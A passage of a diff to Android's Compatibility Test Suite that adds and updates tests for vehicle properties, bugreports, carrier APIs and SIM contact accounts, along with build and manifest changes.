+                .isEqualTo("SEAT_MEMORY_SELECT");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.SEAT_MEMORY_SET))
+                .isEqualTo("SEAT_MEMORY_SET");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.SEAT_OCCUPANCY))
+                .isEqualTo("SEAT_OCCUPANCY");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.SEAT_TILT_MOVE))
+                .isEqualTo("SEAT_TILT_MOVE");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.SEAT_TILT_POS))
+                .isEqualTo("SEAT_TILT_POS");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.WINDOW_LOCK))
+                .isEqualTo("WINDOW_LOCK");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.WINDOW_MOVE))
+                .isEqualTo("WINDOW_MOVE");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.WINDOW_POS))
+                .isEqualTo("WINDOW_POS");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.VEHICLE_MAP_SERVICE))
+                .isEqualTo("VEHICLE_MAP_SERVICE");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.OBD2_FREEZE_FRAME))
+                .isEqualTo("OBD2_FREEZE_FRAME");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.OBD2_FREEZE_FRAME_CLEAR))
+                .isEqualTo("OBD2_FREEZE_FRAME_CLEAR");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.OBD2_FREEZE_FRAME_INFO))
+                .isEqualTo("OBD2_FREEZE_FRAME_INFO");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.OBD2_LIVE_FRAME))
+                .isEqualTo("OBD2_LIVE_FRAME");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.HEADLIGHTS_STATE))
+                .isEqualTo("HEADLIGHTS_STATE");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.HEADLIGHTS_SWITCH))
+                .isEqualTo("HEADLIGHTS_SWITCH");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.HIGH_BEAM_LIGHTS_STATE))
+                .isEqualTo("HIGH_BEAM_LIGHTS_STATE");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.HIGH_BEAM_LIGHTS_SWITCH))
+                .isEqualTo("HIGH_BEAM_LIGHTS_SWITCH");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.FOG_LIGHTS_STATE))
+                .isEqualTo("FOG_LIGHTS_STATE");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.FOG_LIGHTS_SWITCH))
+                .isEqualTo("FOG_LIGHTS_SWITCH");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.HAZARD_LIGHTS_STATE))
+                .isEqualTo("HAZARD_LIGHTS_STATE");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.HAZARD_LIGHTS_SWITCH))
+                .isEqualTo("HAZARD_LIGHTS_SWITCH");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.CABIN_LIGHTS_STATE))
+                .isEqualTo("CABIN_LIGHTS_STATE");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.CABIN_LIGHTS_SWITCH))
+                .isEqualTo("CABIN_LIGHTS_SWITCH");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.READING_LIGHTS_STATE))
+                .isEqualTo("READING_LIGHTS_STATE");
+        assertThat(VehiclePropertyIds.toString(VehiclePropertyIds.READING_LIGHTS_SWITCH))
+                .isEqualTo("READING_LIGHTS_SWITCH");
+        assertThat(VehiclePropertyIds.toString(3)).isEqualTo("0x3");
+        assertThat(VehiclePropertyIds.toString(12)).isEqualTo("0xc");
+    }
+
+    /**
+     * Test if all system properties have a mapped string value.
+     */
+    @Test
+    public void testAllPropertiesAreMappedInToString() {
+        List<Integer> systemProperties = getIntegersFromDataEnums(VehiclePropertyIds.class);
+        for (int propertyId : systemProperties) {
+            String propertyString = VehiclePropertyIds.toString(propertyId);
+            assertThat(propertyString.startsWith("0x")).isFalse();
+        }
+    }
+    // Get all enums from the class.
+    private static List<Integer> getIntegersFromDataEnums(Class clazz) {
+        Field[] fields = clazz.getDeclaredFields();
+        List<Integer> integerList = new ArrayList<>(5);
+        for (Field f : fields) {
+            if (f.getType() == int.class) {
+                try {
+                    integerList.add(f.getInt(clazz));
+                } catch (IllegalAccessException | RuntimeException e) {
+                    Log.w(TAG, "Failed to get value");
+                }
+            }
+        }
+        return integerList;
+    }
+}
diff --git a/tests/tests/carrierapi/src/android/carrierapi/cts/BugreportManagerTest.java b/tests/tests/carrierapi/src/android/carrierapi/cts/BugreportManagerTest.java
index f87bb3f..4e5f4fa 100644
--- a/tests/tests/carrierapi/src/android/carrierapi/cts/BugreportManagerTest.java
+++ b/tests/tests/carrierapi/src/android/carrierapi/cts/BugreportManagerTest.java
@@ -114,11 +114,13 @@
     public void startConnectivityBugreport() throws Exception {
         BugreportCallbackImpl callback = new BugreportCallbackImpl();
 
+        assertThat(callback.hasEarlyReportFinished()).isFalse();
         mBugreportManager.startConnectivityBugreport(mBugreportFd, Runnable::run, callback);
         setConsentDialogReply(ConsentReply.ALLOW);
         waitUntilDoneOrTimeout(callback);
 
         assertThat(callback.isSuccess()).isTrue();
+        assertThat(callback.hasEarlyReportFinished()).isTrue();
         assertThat(callback.hasReceivedProgress()).isTrue();
         assertThat(mBugreportFile.length()).isGreaterThan(0L);
         assertFdIsClosed(mBugreportFd);
@@ -167,6 +169,7 @@
         File bugreportFile2 = createTempFile("bugreport_2_" + name.getMethodName(), ".zip");
         ParcelFileDescriptor bugreportFd2 = parcelFd(bugreportFile2);
 
+        assertThat(callback1.hasEarlyReportFinished()).isFalse();
         // Start the first report, but don't accept the consent dialog or wait for the callback to
         // complete yet.
         mBugreportManager.startConnectivityBugreport(mBugreportFd, Runnable::run, callback1);
@@ -188,6 +191,7 @@
         waitUntilDoneOrTimeout(callback1);
 
         assertThat(callback1.isSuccess()).isTrue();
+        assertThat(callback1.hasEarlyReportFinished()).isTrue();
         assertThat(callback1.hasReceivedProgress()).isTrue();
         assertThat(mBugreportFile.length()).isGreaterThan(0L);
         assertFdIsClosed(mBugreportFd);
@@ -220,6 +224,7 @@
     public void startBugreport_connectivityBugreport() throws Exception {
         BugreportCallbackImpl callback = new BugreportCallbackImpl();
 
+        assertThat(callback.hasEarlyReportFinished()).isFalse();
         // Carrier apps that compile with the system SDK have visibility to use this API, so we need
         // to enforce that the additional parameters can't be abused to e.g. surreptitiously capture
         // screenshots.
@@ -233,6 +238,7 @@
         waitUntilDoneOrTimeout(callback);
 
         assertThat(callback.isSuccess()).isTrue();
+        assertThat(callback.hasEarlyReportFinished()).isTrue();
         assertThat(callback.hasReceivedProgress()).isTrue();
         assertThat(mBugreportFile.length()).isGreaterThan(0L);
         assertFdIsClosed(mBugreportFd);
diff --git a/tests/tests/carrierapi/src/android/carrierapi/cts/CarrierApiTest.java b/tests/tests/carrierapi/src/android/carrierapi/cts/CarrierApiTest.java
index 04b8f5f..baae880 100644
--- a/tests/tests/carrierapi/src/android/carrierapi/cts/CarrierApiTest.java
+++ b/tests/tests/carrierapi/src/android/carrierapi/cts/CarrierApiTest.java
@@ -704,7 +704,7 @@
         // invalid. Any p2 values that produce non '9000'/'62xx'/'63xx' status words are treated as
         // an error and the channel is not opened. Due to compatibility issues with older devices,
         // this check is only enabled for new devices launching on Q+.
-        if (Build.VERSION.FIRST_SDK_INT >= Build.VERSION_CODES.Q) {
+        if (Build.VERSION.DEVICE_INITIAL_SDK_INT >= Build.VERSION_CODES.Q) {
             int p2 = 0xF0;
             IccOpenLogicalChannelResponse response =
                     mTelephonyManager.iccOpenLogicalChannel("", p2);
@@ -782,7 +782,7 @@
             // previous SELECT command. Some devices that launched before Q return TPDUs (instead of
             // APDUs) - these devices must issue a subsequent GET RESPONSE command to get the FCP
             // template.
-            if (Build.VERSION.FIRST_SDK_INT < Build.VERSION_CODES.Q) {
+            if (Build.VERSION.DEVICE_INITIAL_SDK_INT < Build.VERSION_CODES.Q) {
                 // Conditionally need to send GET RESPONSE apdu based on response from
                 // TelephonyManager
                 if (response.startsWith(STATUS_BYTES_REMAINING)) {
diff --git a/tests/tests/classloaderfactory/test-memcl/TEST_MAPPING b/tests/tests/classloaderfactory/test-memcl/TEST_MAPPING
new file mode 100644
index 0000000..1e7fc8c
--- /dev/null
+++ b/tests/tests/classloaderfactory/test-memcl/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsClassLoaderFactoryInMemoryDexClassLoaderTestCases"
+    }
+  ]
+}
diff --git a/tests/tests/classloaderfactory/test-pathcl/TEST_MAPPING b/tests/tests/classloaderfactory/test-pathcl/TEST_MAPPING
new file mode 100644
index 0000000..0f4b263
--- /dev/null
+++ b/tests/tests/classloaderfactory/test-pathcl/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsClassLoaderFactoryPathClassLoaderTestCases"
+    }
+  ]
+}
diff --git a/tests/tests/contactsprovider/Android.bp b/tests/tests/contactsprovider/Android.bp
index e58375b..ed17293 100644
--- a/tests/tests/contactsprovider/Android.bp
+++ b/tests/tests/contactsprovider/Android.bp
@@ -11,6 +11,7 @@
     test_suites: [
         "cts",
         "general-tests",
+        "sts",
     ],
 
     libs: [
diff --git a/tests/tests/contactsprovider/AndroidManifest.xml b/tests/tests/contactsprovider/AndroidManifest.xml
index 23f01fe..e8ee353 100644
--- a/tests/tests/contactsprovider/AndroidManifest.xml
+++ b/tests/tests/contactsprovider/AndroidManifest.xml
@@ -26,6 +26,22 @@
     <!-- We need the calllog permissions for ContactsTest, which is the test for legacy provider. -->
     <uses-permission android:name="android.permission.READ_CALL_LOG" />
     <uses-permission android:name="android.permission.WRITE_CALL_LOG" />
+
+    <queries>
+        <intent>
+            <action android:name="android.intent.action.GET_CONTENT" />
+            <data android:mimeType="vnd.android.cursor.item/contact" />
+        </intent>
+        <intent>
+            <action android:name="android.intent.action.PICK" />
+            <data android:scheme="content://com.android.contacts/contacts" />
+        </intent>
+        <intent>
+            <action android:name="android.intent.action.VIEW" />
+            <data android:scheme="content://com.android.contacts/contacts" />
+        </intent>
+    </queries>
+
     <application>
         <uses-library android:name="android.test.runner"/>
 
diff --git a/tests/tests/contactsprovider/gal/Android.bp b/tests/tests/contactsprovider/gal/Android.bp
index b4c2241..aae44c7 100644
--- a/tests/tests/contactsprovider/gal/Android.bp
+++ b/tests/tests/contactsprovider/gal/Android.bp
@@ -9,6 +9,7 @@
     test_suites: [
         "cts",
         "general-tests",
+        "sts",
     ],
 
     srcs: ["src/**/*.java"],
diff --git a/tests/tests/contactsprovider/src/android/provider/cts/contacts/CallLogProviderTest.java b/tests/tests/contactsprovider/src/android/provider/cts/contacts/CallLogProviderTest.java
index f91015a..5253cd0 100644
--- a/tests/tests/contactsprovider/src/android/provider/cts/contacts/CallLogProviderTest.java
+++ b/tests/tests/contactsprovider/src/android/provider/cts/contacts/CallLogProviderTest.java
@@ -23,6 +23,7 @@
 import android.database.ContentObserver;
 import android.database.Cursor;
 import android.net.Uri;
+import android.platform.test.annotations.SecurityTest;
 import android.provider.CallLog;
 import android.provider.CallLog.Calls;
 import android.test.InstrumentationTestCase;
@@ -44,6 +45,7 @@
         mProvider = mContentResolver.acquireContentProviderClient(CallLog.AUTHORITY);
     }
 
+    @SecurityTest(minPatchLevel="2021-05")
     public void testNoSubqueries() throws Exception {
         // Add a single call just to make sure the call log has something inside
         ContentValues values = new ContentValues();
diff --git a/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_SimContactTest.java b/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_SimContactTest.java
new file mode 100644
index 0000000..3b1d025
--- /dev/null
+++ b/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsContract_SimContactTest.java
@@ -0,0 +1,150 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.provider.cts.contacts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.content.BroadcastReceiver;
+import android.content.ContentResolver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.os.SystemClock;
+import android.provider.ContactsContract.SimAccount;
+import android.provider.ContactsContract.SimContacts;
+import android.test.AndroidTestCase;
+import android.test.suitebuilder.annotation.MediumTest;
+
+import com.android.compatibility.common.util.SystemUtil;
+import com.android.compatibility.common.util.TestUtils;
+
+import java.util.ArrayList;
+import java.util.Collections;
+import java.util.List;
+
+@MediumTest
+public class ContactsContract_SimContactTest extends AndroidTestCase {
+    private static final int ASYNC_TIMEOUT_LIMIT_SEC = 60;
+
+    // Using unique account name and types because these tests may break or be broken by
+    // other tests running.  No other tests should use the following accounts.
+    private static final String SIM_ACCT_NAME_1 = "test sim acct name 1";
+    private static final String SIM_ACCT_TYPE_1 = "test sim acct type 1";
+    private static final String SIM_ACCT_NAME_2 = "test sim acct name 2";
+    private static final String SIM_ACCT_TYPE_2 = "test sim acct type 2";
+
+    private static final int SIM_SLOT_0 = 0;
+    private static final int SIM_SLOT_1 = 1;
+
+    private ContentResolver mResolver;
+    private List<Intent> mReceivedIntents;
+    private final BroadcastReceiver mBroadcastReceiver = new BroadcastReceiver() {
+        @Override
+        public void onReceive(Context context, Intent intent) {
+            mReceivedIntents.add(intent);
+        }
+    };
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        mResolver = getContext().getContentResolver();
+        mReceivedIntents = Collections.synchronizedList(new ArrayList<>());
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        super.tearDown();
+        // Reset SIM accounts
+        SystemUtil.runWithShellPermissionIdentity(() -> {
+            SimContacts.removeSimAccounts(mResolver, SIM_SLOT_0);
+            SimContacts.removeSimAccounts(mResolver, SIM_SLOT_1);
+        });
+    }
+
+    /**
+     * SIM accounts added through
+     * {@link SimContacts#addSimAccount(ContentResolver, String, String, int, int)} should be
+     * returned by {@link SimContacts#getSimAccounts(ContentResolver)}
+     */
+    public void testAddSimAccount_returnedByGetSimAccounts() {
+        SystemUtil.runWithShellPermissionIdentity(() -> {
+            SimContacts.addSimAccount(mResolver, SIM_ACCT_NAME_1, SIM_ACCT_TYPE_1, SIM_SLOT_0,
+                    SimAccount.ADN_EF_TYPE);
+            SimContacts.addSimAccount(mResolver, SIM_ACCT_NAME_2, SIM_ACCT_TYPE_2, SIM_SLOT_1,
+                    SimAccount.ADN_EF_TYPE);
+        });
+
+        List<SimAccount> simAccounts = SimContacts.getSimAccounts(mResolver);
+
+        assertThat(simAccounts).hasSize(2);
+        SimAccount simAccount1 = simAccounts.get(0);
+
+        assertThat(SIM_ACCT_NAME_1).isEqualTo(simAccount1.getAccountName());
+        assertThat(SIM_ACCT_TYPE_1).isEqualTo(simAccount1.getAccountType());
+        assertThat(SIM_SLOT_0).isEqualTo(simAccount1.getSimSlotIndex());
+        assertThat(SimAccount.ADN_EF_TYPE).isEqualTo(simAccount1.getEfType());
+
+        SimAccount simAccount2 = simAccounts.get(1);
+
+        assertThat(SIM_ACCT_NAME_2).isEqualTo(simAccount2.getAccountName());
+        assertThat(SIM_ACCT_TYPE_2).isEqualTo(simAccount2.getAccountType());
+        assertThat(SIM_SLOT_1).isEqualTo(simAccount2.getSimSlotIndex());
+        assertThat(SimAccount.ADN_EF_TYPE).isEqualTo(simAccount2.getEfType());
+    }
+
+    /**
+     * When a SIM account is added, {@link SimContacts#ACTION_SIM_ACCOUNTS_CHANGED} should be
+     * broadcast.
+     */
+    public void testAddSimAccount_broadcastsChange() throws Exception {
+        getContext().registerReceiver(mBroadcastReceiver,
+                new IntentFilter(SimContacts.ACTION_SIM_ACCOUNTS_CHANGED));
+
+        SystemUtil.runWithShellPermissionIdentity(() -> {
+            SimContacts.addSimAccount(mResolver, SIM_ACCT_NAME_1, SIM_ACCT_TYPE_1, SIM_SLOT_0,
+                    SimAccount.ADN_EF_TYPE);
+        });
+
+        TestUtils.waitUntil("Broadcast has not been received in time", ASYNC_TIMEOUT_LIMIT_SEC,
+                () -> mReceivedIntents.size() == 1);
+        Intent receivedIntent = mReceivedIntents.get(0);
+        assertThat(SimContacts.ACTION_SIM_ACCOUNTS_CHANGED).isEqualTo(receivedIntent.getAction());
+    }
+
+    /**
+     * When a SIM account is removed, {@link SimContacts#ACTION_SIM_ACCOUNTS_CHANGED} should be
+     * broadcast.
+     */
+    public void testRemoveSimAccount_broadcastsChange() throws Exception {
+        SystemUtil.runWithShellPermissionIdentity(() -> {
+            SimContacts.addSimAccount(mResolver, SIM_ACCT_NAME_1, SIM_ACCT_TYPE_1, SIM_SLOT_0,
+                    SimAccount.ADN_EF_TYPE);
+        });
+        getContext().registerReceiver(mBroadcastReceiver,
+                new IntentFilter(SimContacts.ACTION_SIM_ACCOUNTS_CHANGED));
+
+        SystemUtil.runWithShellPermissionIdentity(() -> {
+            SimContacts.removeSimAccounts(mResolver, SIM_SLOT_0);
+        });
+
+        TestUtils.waitUntil("Broadcast has not been received in time", ASYNC_TIMEOUT_LIMIT_SEC,
+                () -> mReceivedIntents.size() == 1);
+        Intent receivedIntent = mReceivedIntents.get(0);
+        assertThat(SimContacts.ACTION_SIM_ACCOUNTS_CHANGED).isEqualTo(receivedIntent.getAction());
+    }
+}
diff --git a/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsMetadataProviderTest.java b/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsMetadataProviderTest.java
deleted file mode 100644
index 2aa864c..0000000
--- a/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsMetadataProviderTest.java
+++ /dev/null
@@ -1,70 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-package android.provider.cts.contacts;
-
-import android.content.ContentValues;
-import android.net.Uri;
-import android.test.AndroidTestCase;
-import android.test.MoreAsserts;
-
-/**
- * Make sure the provider is protected.
- *
- * Run with:
- * cts-tradefed run cts --class android.provider.cts.ContactsMetadataProviderTest < /dev/null
- */
-public class ContactsMetadataProviderTest extends AndroidTestCase {
-
-    /** The authority for the contacts metadata */
-    public static final String METADATA_AUTHORITY = "com.android.contacts.metadata";
-
-    /** A content:// style uri to the authority for the contacts metadata */
-    public static final Uri METADATA_AUTHORITY_URI = Uri.parse(
-            "content://" + METADATA_AUTHORITY);
-
-    /**
-     * The content:// style URI for this table.
-     */
-    public static final Uri CONTENT_URI = Uri.withAppendedPath(METADATA_AUTHORITY_URI,
-            "metadata_sync");
-
-    public void testCallerCheck() {
-        try {
-            getContext().getContentResolver().query(CONTENT_URI, null, null, null, null);
-            fail();
-        } catch (SecurityException e) {
-            MoreAsserts.assertContainsRegex("can't access ContactMetadataProvider", e.getMessage());
-        }
-        try {
-            getContext().getContentResolver().insert(CONTENT_URI, new ContentValues());
-            fail();
-        } catch (SecurityException e) {
-            MoreAsserts.assertContainsRegex("can't access ContactMetadataProvider", e.getMessage());
-        }
-        try {
-            getContext().getContentResolver().update(CONTENT_URI, new ContentValues(), null, null);
-            fail();
-        } catch (SecurityException e) {
-            MoreAsserts.assertContainsRegex("can't access ContactMetadataProvider", e.getMessage());
-        }
-        try {
-            getContext().getContentResolver().delete(CONTENT_URI, null, null);
-            fail();
-        } catch (SecurityException e) {
-            MoreAsserts.assertContainsRegex("can't access ContactMetadataProvider", e.getMessage());
-        }
-    }
-}
diff --git a/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsProvider2_AccountRemovalTest.java b/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsProvider2_AccountRemovalTest.java
index 9613b14..532a423 100755
--- a/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsProvider2_AccountRemovalTest.java
+++ b/tests/tests/contactsprovider/src/android/provider/cts/contacts/ContactsProvider2_AccountRemovalTest.java
@@ -21,12 +21,14 @@
 import android.content.ContentResolver;
 import android.os.SystemClock;
 import android.provider.ContactsContract;
+import android.provider.ContactsContract.SimContacts;
 import android.provider.cts.contacts.DatabaseAsserts.ContactIdPair;
 import android.provider.cts.contacts.account.StaticAccountAuthenticator;
 import android.test.AndroidTestCase;
 import android.test.suitebuilder.annotation.MediumTest;
 
 import com.android.compatibility.common.util.CddTest;
+import com.android.compatibility.common.util.SystemUtil;
 
 import java.util.ArrayList;
 import java.util.Arrays;
@@ -48,6 +50,18 @@
     private static final Account ACCT_2 = new Account("cp removal acct 2",
             StaticAccountAuthenticator.TYPE);
 
+    // Using unique account name and types because these tests may break or be broken by
+    // other tests running.  No other tests should use the following accounts.
+    private static final String SIM_ACCT_NAME_1 = "cp removal sim acct name 1";
+    private static final String SIM_ACCT_TYPE_1 = "cp removal sim acct type 1";
+    private static final String SIM_ACCT_NAME_2 = "cp removal sim acct name 2";
+    private static final String SIM_ACCT_TYPE_2 = "cp removal sim acct type 2";
+    private static final String SIM_ACCT_NAME_3 = "cp removal sim acct name 3";
+    private static final String SIM_ACCT_TYPE_3 = "cp removal sim acct type 3";
+
+    private static final int SIM_SLOT_0 = 0;
+    private static final int SIM_SLOT_1 = 1;
+
     private ContentResolver mResolver;
     private AccountManager mAccountManager;
 
@@ -61,6 +75,11 @@
     @Override
     protected void tearDown() throws Exception {
         super.tearDown();
+        // Reset SIM accounts
+        SystemUtil.runWithShellPermissionIdentity(() -> {
+            SimContacts.removeSimAccounts(mResolver, SIM_SLOT_0);
+            SimContacts.removeSimAccounts(mResolver, SIM_SLOT_1);
+        });
     }
 
     public void testAccountRemoval_deletesContacts() {
@@ -132,6 +151,76 @@
     }
 
     /**
+     * Contacts saved to a SIM account that was added through
+     * {@link SimContacts#addSimAccount(ContentResolver, String, String, int, int)}
+     * should not be deleted.
+     *
+     * <p>These SIM accounts are special cases that are not added to
+     * {@link AccountManager}. Normally raw contacts with an
+     * {@link android.provider.ContactsContract.RawContacts#ACCOUNT_NAME} and
+     * {@link android.provider.ContactsContract.RawContacts#ACCOUNT_TYPE} that do not correspond
+     * to an added account will be removed but this should not be done for these SIM accounts.
+     */
+    public void testAccountRemoval_doesNotDeleteSimAccountContacts() {
+        mAccountManager.addAccountExplicitly(ACCT_1, null, null);
+        SystemUtil.runWithShellPermissionIdentity(() -> {
+            SimContacts.addSimAccount(mResolver, SIM_ACCT_NAME_1, SIM_ACCT_TYPE_1, SIM_SLOT_0,
+                    ContactsContract.SimAccount.ADN_EF_TYPE);
+        });
+        ArrayList<ContactIdPair> acc1Ids = createContacts(ACCT_1, 5);
+
+        long simRawContactId = RawContactUtil
+                .createRawContactWithAutoGeneratedName(mResolver,
+                        new Account(SIM_ACCT_NAME_1, SIM_ACCT_TYPE_1));
+
+        mAccountManager.removeAccount(ACCT_1, null, null);
+        // Wait for deletion of the contacts in the removed account to finish before verifying
+        // the existence of the device contacts
+        assertContactsDeletedEventually(System.currentTimeMillis(), acc1Ids);
+
+        assertTrue(RawContactUtil.rawContactExistsById(mResolver, simRawContactId));
+    }
+
+    /**
+     * Contacts saved to a SIM account that was added through
+     * {@link SimContacts#addSimAccount(ContentResolver, String, String, int, int)}
+     * should be deleted when {@link SimContacts#removeSimAccounts(ContentResolver, int)} is called.
+     * Only SIM accounts from the sim slot index should be removed.
+     */
+    public void testRemoveSimAccount_deleteSimAccountContacts() {
+        SystemUtil.runWithShellPermissionIdentity(() -> {
+            SimContacts.addSimAccount(mResolver, SIM_ACCT_NAME_1, SIM_ACCT_TYPE_1, SIM_SLOT_0,
+                    ContactsContract.SimAccount.ADN_EF_TYPE);
+            SimContacts.addSimAccount(mResolver, SIM_ACCT_NAME_2, SIM_ACCT_TYPE_2, SIM_SLOT_0,
+                    ContactsContract.SimAccount.SDN_EF_TYPE);
+            SimContacts.addSimAccount(mResolver, SIM_ACCT_NAME_3, SIM_ACCT_TYPE_3, SIM_SLOT_1,
+                    ContactsContract.SimAccount.ADN_EF_TYPE);
+        });
+
+
+        ArrayList<ContactIdPair> acc1Ids = createContacts(
+                new Account(SIM_ACCT_NAME_1, SIM_ACCT_TYPE_1), 5);
+        ArrayList<ContactIdPair> acc2Ids = createContacts(
+                new Account(SIM_ACCT_NAME_2, SIM_ACCT_TYPE_2), 5);
+
+
+        long secondSimSlotRawContactId = RawContactUtil
+                .createRawContactWithAutoGeneratedName(mResolver,
+                        new Account(SIM_ACCT_NAME_3, SIM_ACCT_TYPE_3));
+
+        SystemUtil.runWithShellPermissionIdentity(() -> {
+            SimContacts.removeSimAccounts(mResolver, SIM_SLOT_0);
+        });
+        // Wait for deletion of the contacts in the removed account to finish before verifying
+        // the existence of the device contacts
+        assertContactsDeletedEventually(System.currentTimeMillis(), acc1Ids);
+        assertContactsDeletedEventually(System.currentTimeMillis(), acc2Ids);
+
+        // Sim contacts in a different slot should remain
+        assertTrue(RawContactUtil.rawContactExistsById(mResolver, secondSimSlotRawContactId));
+    }
+
+    /**
      * Contact has merged raw contacts from different accounts. Contact should not be deleted when
      * one account is removed.  But contact should have last updated timestamp updated.
      */
diff --git a/tests/tests/content/Android.bp b/tests/tests/content/Android.bp
index 0f87a3b..77eb483 100644
--- a/tests/tests/content/Android.bp
+++ b/tests/tests/content/Android.bp
@@ -35,6 +35,7 @@
         "android.test.mock",
     ],
     static_libs: [
+        "apache-commons-compress",
         "compatibility-device-util-axt",
         "ctstestrunner-axt",
         "services.core",
@@ -46,6 +47,9 @@
         "testng",
         "androidx.legacy_legacy-support-v4",
         "androidx.test.core",
+        "cts-install-lib",
+        "ShortcutManagerTestUtils",
+        "libincfs-prebuilt",
     ],
     // Use multi-dex as the compatibility-common-util-devicesidelib dependency
     // on compatibility-device-util-axt pushes us beyond 64k methods.
@@ -67,8 +71,33 @@
     ],
     srcs: [
         "src/**/*.java",
+        "src/**/*.kt",
         "BinderPermissionTestService/**/I*.aidl",
     ],
+    data: [
+        // v1/v2/v3/v4 signed version of android.appsecurity.cts.tinyapp to keep checksums stable
+        "data/CtsPkgInstallTinyAppV1.apk",
+        "data/CtsPkgInstallTinyAppV2V3V4.apk",
+        "data/CtsPkgInstallTinyAppV2V3V4.apk.idsig",
+        "data/CtsPkgInstallTinyAppV2V3V4.digests",
+        "data/CtsPkgInstallTinyAppV2V3V4.digests.signature",
+        "data/CtsPkgInstallTinyAppV2V3V4-Sha512withEC.apk",
+        "data/CtsPkgInstallTinyAppV2V3V4-Sha512withEC.apk.idsig",
+        "data/CtsPkgInstallTinyAppV2V3V4-Verity.apk",
+        "data/CtsPkgInstallTinyAppV2V3V4-Verity.apk.idsig",
+        "data/HelloWorld5.digests",
+        "data/HelloWorld5.digests.signature",
+        "data/HelloWorld5_hdpi-v4.digests",
+        "data/HelloWorld5_hdpi-v4.digests.signature",
+        "data/HelloWorld5_mdpi-v4.digests",
+        "data/HelloWorld5_mdpi-v4.digests.signature",
+        "data/test-cert.x509.pem",
+    ],
+    java_resources: [
+        ":PackagePropertyTestApp1",
+        ":PackagePropertyTestApp2",
+        ":PackagePropertyTestApp3",
+    ],
     platform_apis: true,
     // Tag this module as a cts test artifact
     test_suites: [
diff --git a/tests/tests/content/AndroidManifest.xml b/tests/tests/content/AndroidManifest.xml
index 45b6795..ea3b4ab 100644
--- a/tests/tests/content/AndroidManifest.xml
+++ b/tests/tests/content/AndroidManifest.xml
@@ -1,3 +1,4 @@
+<?xml version="1.0" encoding="utf-8"?>
 <!--
  * Copyright (C) 2007 The Android Open Source Project
  *
@@ -15,353 +16,547 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.content.cts">
+     package="android.content.cts">
 
-    <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
+    <uses-permission android:name="android.permission.DISABLE_KEYGUARD"/>
     <!-- content sync tests -->
-    <uses-permission android:name="android.permission.MANAGE_ACCOUNTS" />
-    <uses-permission android:name="android.permission.AUTHENTICATE_ACCOUNTS" />
-    <uses-permission android:name="android.permission.USE_CREDENTIALS" />
-    <uses-permission android:name="android.permission.READ_SYNC_SETTINGS" />
-    <uses-permission android:name="android.permission.WRITE_SYNC_SETTINGS" />
-    <uses-permission android:name="android.permission.READ_SYNC_STATS" />
-    <uses-permission android:name="android.permission.READ_MEDIA_IMAGES" />
-    <uses-permission android:name="android.permission.WRITE_SETTINGS" />
-    <uses-permission android:name="android.permission.SET_WALLPAPER" />
-    <uses-permission android:name="android.permission.BROADCAST_STICKY" />
-    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
-    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
-    <uses-permission android:name="android.content.cts.permission.TEST_GRANTED" />
-    <uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
-    <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES" />
+    <uses-permission android:name="android.permission.MANAGE_ACCOUNTS"/>
